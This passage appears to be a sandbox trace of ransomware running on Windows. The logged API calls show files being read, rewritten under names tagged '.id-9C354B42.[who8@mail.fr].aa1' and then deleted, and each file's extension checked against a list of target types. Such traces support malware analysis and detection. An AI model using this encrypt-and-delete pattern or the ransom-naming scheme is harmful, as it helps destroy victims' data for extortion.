dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0202.749] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.749] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0202.749] GetLastError () returned 0x0 [0202.749] ReadFile (in: hFile=0x17c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0202.798] WriteFile (in: hFile=0x198, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0202.799] ReadFile (in: hFile=0x17c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0202.799] WriteFile (in: hFile=0x198, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0202.799] SetEndOfFile (hFile=0x198) returned 1 [0202.799] CloseHandle (hObject=0x198) returned 1 [0202.820] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.820] SetEndOfFile (hFile=0x17c) returned 1 [0202.821] CloseHandle (hObject=0x17c) returned 1 [0202.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0202.821] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0202.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.822] lstrlenW (lpString=".doc") returned 4 [0202.822] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0202.822] lstrlenW (lpString=".docx") returned 5 [0202.822] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0202.822] lstrlenW (lpString=".pdf") returned 4 [0202.822] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0202.822] lstrlenW (lpString=".xls") returned 4 [0202.822] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0202.822] lstrlenW (lpString=".xlsx") returned 5 [0202.822] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0202.822] lstrlenW (lpString=".ppt") returned 4 [0202.822] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0202.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.822] lstrlenW (lpString=".zip") returned 4 [0202.822] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0202.822] lstrlenW (lpString=".rar") returned 4 [0202.822] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0202.822] lstrlenW (lpString=".bz2") returned 4 [0202.822] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0202.822] lstrlenW (lpString=".7z") returned 3 [0202.822] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0202.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.822] lstrlenW (lpString=".dbf") returned 4 [0202.822] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0202.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.822] lstrlenW (lpString=".1cd") returned 4 [0202.822] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0202.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.822] lstrlenW (lpString=".jpg") returned 4 [0202.822] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0202.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.823] lstrlenW (lpString=".doc") returned 4 [0202.823] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0202.823] lstrlenW (lpString=".docx") returned 5 [0202.823] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0202.823] lstrlenW (lpString=".pdf") returned 4 [0202.823] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0202.823] lstrlenW (lpString=".xls") returned 4 [0202.823] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0202.823] lstrlenW (lpString=".xlsx") returned 5 [0202.823] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0202.823] lstrlenW (lpString=".ppt") returned 4 [0202.823] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0202.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.823] lstrlenW (lpString=".zip") returned 4 [0202.823] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0202.823] lstrlenW (lpString=".rar") returned 4 [0202.823] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0202.823] lstrlenW (lpString=".bz2") returned 4 [0202.823] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0202.823] lstrlenW (lpString=".7z") returned 3 [0202.823] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0202.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.823] lstrlenW (lpString=".dbf") returned 4 [0202.823] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0202.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.823] lstrlenW (lpString=".1cd") returned 4 [0202.823] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0202.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0202.823] lstrlenW (lpString=".jpg") returned 4 [0202.823] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0202.824] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0202.824] lstrlenW (lpString="Alphabet.xml") returned 12 [0202.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0202.885] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=791686) returned 1 [0202.885] CloseHandle (hObject=0x1a0) returned 1 [0202.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0202.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0202.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0202.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.885] lstrlenW (lpString=".doc") returned 4 [0202.885] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.885] lstrlenW (lpString=".docx") returned 5 [0202.885] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0202.885] lstrlenW (lpString=".pdf") returned 4 [0202.885] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.885] lstrlenW (lpString=".xls") returned 4 [0202.885] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.885] lstrlenW (lpString=".xlsx") returned 5 [0202.885] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0202.885] lstrlenW (lpString=".ppt") returned 4 [0202.886] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.886] lstrlenW (lpString=".zip") returned 4 [0202.886] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.886] lstrlenW (lpString=".rar") returned 4 [0202.886] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.886] lstrlenW (lpString=".bz2") returned 4 [0202.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.886] lstrlenW (lpString=".7z") returned 3 [0202.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.886] lstrlenW (lpString=".dbf") returned 4 [0202.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.886] lstrlenW (lpString=".1cd") returned 4 [0202.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.886] lstrlenW (lpString=".jpg") returned 4 [0202.886] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.886] lstrlenW (lpString=".doc") returned 4 [0202.886] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.886] lstrlenW (lpString=".docx") returned 5 [0202.886] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0202.886] lstrlenW (lpString=".pdf") returned 4 [0202.886] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.886] lstrlenW (lpString=".xls") returned 4 [0202.886] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.886] lstrlenW (lpString=".xlsx") returned 5 [0202.886] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0202.886] lstrlenW (lpString=".ppt") returned 4 [0202.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.887] lstrlenW (lpString=".zip") returned 4 [0202.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.887] lstrlenW (lpString=".rar") returned 4 [0202.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.887] lstrlenW (lpString=".bz2") returned 4 [0202.887] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.887] lstrlenW (lpString=".7z") returned 3 [0202.887] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.887] lstrlenW (lpString=".dbf") returned 4 [0202.887] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.887] lstrlenW (lpString=".1cd") returned 4 [0202.887] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0202.887] lstrlenW (lpString=".jpg") returned 4 [0202.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.887] lstrcmpiW (lpString1=".avi", lpString2=".aa1") returned 1 [0202.887] lstrlenW (lpString="boxed-delete.avi") returned 16 [0202.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0204.956] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=31744) returned 1 [0204.956] CloseHandle (hObject=0x168) returned 1 [0204.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0204.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0204.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.956] lstrlenW (lpString=".doc") returned 4 [0204.956] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0204.957] lstrlenW (lpString=".docx") returned 5 [0204.957] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0204.957] lstrlenW (lpString=".pdf") returned 4 [0204.957] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0204.957] lstrlenW (lpString=".xls") returned 4 [0204.957] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0204.957] lstrlenW (lpString=".xlsx") returned 5 [0204.957] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0204.957] lstrlenW (lpString=".ppt") returned 4 [0204.957] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0204.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.957] lstrlenW (lpString=".zip") returned 4 [0204.957] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0204.957] lstrlenW (lpString=".rar") returned 4 [0204.957] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0204.958] lstrlenW (lpString=".bz2") returned 4 [0204.958] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0204.958] lstrlenW (lpString=".7z") returned 3 [0204.958] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0204.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.958] lstrlenW (lpString=".dbf") returned 4 [0204.958] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0204.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.958] lstrlenW (lpString=".1cd") returned 4 [0204.958] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0204.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.958] lstrlenW (lpString=".jpg") returned 4 [0204.958] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0204.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.959] lstrlenW (lpString=".doc") returned 4 [0204.959] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0204.959] lstrlenW (lpString=".docx") returned 5 [0204.959] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0204.959] lstrlenW (lpString=".pdf") returned 4 [0204.959] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0204.959] lstrlenW (lpString=".xls") returned 4 [0204.959] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0204.959] lstrlenW (lpString=".xlsx") returned 5 [0204.959] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0204.959] lstrlenW (lpString=".ppt") returned 4 [0204.959] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0204.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.959] lstrlenW (lpString=".zip") returned 4 [0204.959] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0204.959] lstrlenW (lpString=".rar") returned 4 [0204.959] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0204.959] lstrlenW (lpString=".bz2") returned 4 [0204.959] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0204.959] lstrlenW (lpString=".7z") returned 3 [0204.959] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0204.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.959] lstrlenW (lpString=".dbf") returned 4 [0204.959] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0204.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.960] lstrlenW (lpString=".1cd") returned 4 [0204.960] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0204.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0204.960] lstrlenW (lpString=".jpg") returned 4 [0204.960] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0204.960] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0204.960] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17 [0204.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.735] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=247) returned 1 [0205.735] CloseHandle (hObject=0x1b0) returned 1 [0205.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0205.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.736] lstrlenW (lpString=".doc") returned 4 [0205.736] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.736] lstrlenW (lpString=".docx") returned 5 [0205.736] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0205.736] lstrlenW (lpString=".pdf") returned 4 [0205.736] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.736] lstrlenW (lpString=".xls") returned 4 [0205.736] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.736] lstrlenW (lpString=".xlsx") returned 5 [0205.736] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0205.737] lstrlenW (lpString=".ppt") returned 4 [0205.737] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.737] lstrlenW (lpString=".zip") returned 4 [0205.737] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.737] lstrlenW (lpString=".rar") returned 4 [0205.737] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.737] lstrlenW (lpString=".bz2") returned 4 [0205.737] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.737] lstrlenW (lpString=".7z") returned 3 [0205.737] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.737] lstrlenW (lpString=".dbf") returned 4 [0205.737] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.737] lstrlenW (lpString=".1cd") returned 4 [0205.737] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.737] lstrlenW (lpString=".jpg") returned 4 [0205.737] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.738] lstrlenW (lpString=".doc") returned 4 [0205.738] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.738] lstrlenW (lpString=".docx") returned 5 [0205.738] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0205.738] lstrlenW (lpString=".pdf") returned 4 [0205.738] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.738] lstrlenW (lpString=".xls") returned 4 [0205.738] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.738] lstrlenW (lpString=".xlsx") returned 5 [0205.738] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0205.738] lstrlenW (lpString=".ppt") returned 4 [0205.738] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.738] lstrlenW (lpString=".zip") returned 4 [0205.738] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.738] lstrlenW (lpString=".rar") returned 4 [0205.738] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.738] lstrlenW (lpString=".bz2") returned 4 [0205.739] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.739] lstrlenW (lpString=".7z") returned 3 [0205.739] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.739] lstrlenW (lpString=".dbf") returned 4 [0205.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.739] lstrlenW (lpString=".1cd") returned 4 [0205.739] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 87 [0205.739] lstrlenW (lpString=".jpg") returned 4 [0205.739] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.739] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0205.739] lstrlenW (lpString="base_heb.xml") returned 12 [0205.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.740] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=738) returned 1 [0205.740] CloseHandle (hObject=0x1b0) returned 1 [0205.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0205.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0205.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft 